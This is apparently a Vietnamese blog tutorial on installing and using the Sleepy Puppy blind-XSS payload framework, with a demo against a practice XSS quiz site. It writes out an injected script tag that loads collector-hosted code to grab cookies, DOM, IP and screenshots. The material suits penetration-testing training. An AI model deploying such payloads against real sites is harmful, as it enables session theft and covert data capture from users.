I.Hướng dẫn cài đặt
Điều kiện cần:
- Python 2.7
- Pip
- Git
Bắt đầu cài đặt:
Grap the repo:
Có thể sử dụng file đình kèm trong tài liệu để cài đặt chương trình.
Sử dụng trực tiếp bằng  lệnh:
  git clone https://github.com/sbehrens/sleepy-puppy.git

Setup a Virtual Environment
$sudo pip install virtualenv
$cd sleepy-puppy/
$virtualenv sleepyenv
        $source sleepyenv/bin/activate
Install the required dependencies
$python setup.py install
Create database, seed database, create default login with ‘admin’ user
Có thể sử dụng rút gọn bằng 1 câu lệnh:
python manage.py setup_sleepy_puppy
Password nhập vào sẽ được sử dụng để đăng nhập vào trang quản lí với username=’admin’.
Ngoài ra cũng có thể cài đặt theo từng lệnh:
$python manage.py create_db
$python manage.py create_login admin
$python manage.py create_bootstrap_assessment
Các bước cài đặt cơ bản hoàn thành để kiểm tra sự hoạt động của sleepy-puppy:
Source Virtual Environmet
$cd sleepy-puppy/
$source sleepyenv/bin/activate
Run the Flask Application
$python manage.py runserver –host 0.0.0.0 –port 8000
Login với username= admin và password vừa nhập trong quá trình cài đặt.
II. Hướng dẫn sử dụng
Sau khi đăng nhập thành công ta vào được hệ thống với giao diện như sau:


Tạo Assessment:
Snooze: Tùy chỉnh này giúp ích khi ta tấn công một ứng dụng đang bị tấn công về băng thông. Khi  đó ứng dụng sẽ ngừng thu thập thông tin và dữ liệu, đồng thời dừng chụp màn hình.
Run Once: điều này có nghĩa là các câu lệnh payload sẽ được thực hiện một lần và chứng minh rằng ứng dụng bị lỗi XSS chứ không thu thập dữ liệu liên quan đến người dùng.
Tạo User để sử dụng trong hệ thống:
Với Assessments là tài khoản vừa tạo.
Email là địa chỉ đăng kí để các lỗi khai thác được sẽ được gửi về email đó.

Tag PuppyScript
Tag này chứ các đoạn script được định nghĩa sẵn để được gọi lại và thực hiện các tác vụ trong tấn công XSS như lấy IP, Session, chụp ảnh màn hình….
Bên cạnh đó ta cũng có thể định tự tạo ra các đoạn mã script để thực hiện các tác vụ riêng.
Tag Payload
Trong tag này sẽ chứ các câu lệnh để inject vào các trang lỗi XSS với src là:
‘$1’
Ta có thể tạo mới một câu lệnh:
Khi sang assessment thì ‘$S1’ sẽ được hệ thống thay thế như:
src=//127.0.0.1:8000/x?u=1&a=1 thì:
//127.0.0.1:8000/               : là địa chỉ host của ta và cổng mở trên host tương ứng.
Giá trị của u: là giá trị id tương ứng với câu inject.
Giá trị a: thương ứng với id của user đó.
DEMO
Demo với trang:  http://xss-quiz.int21h.jp
Sau khi inject thành công câu lệnh :
<script src=//127.0.0.1:8000/x?u=1&a=2></script>
Ta thu được kết quả bênh tag Capture:
Thông tin thu được gồm:
Thời gian thực hiện.
Câu lệnh thực hiện
Người thực hiện
Url
Refecrer
Cookie
User Agent
Dom
Và Screenshot
Dựa vào các tùy chọn bên lệnh Puppyscript va các giá trị trả về sẽ chứa các thành phần khác nhau.
Nếu ta cho phép ghi log thì hệ thống sẽ ghi log với mỗi lần inject tương ứng.

Generic Collector
Chứa các thông tin bao gồm cả IP của người thực hiện.
Cấu hình email:

Đăng nhận xét

 
Top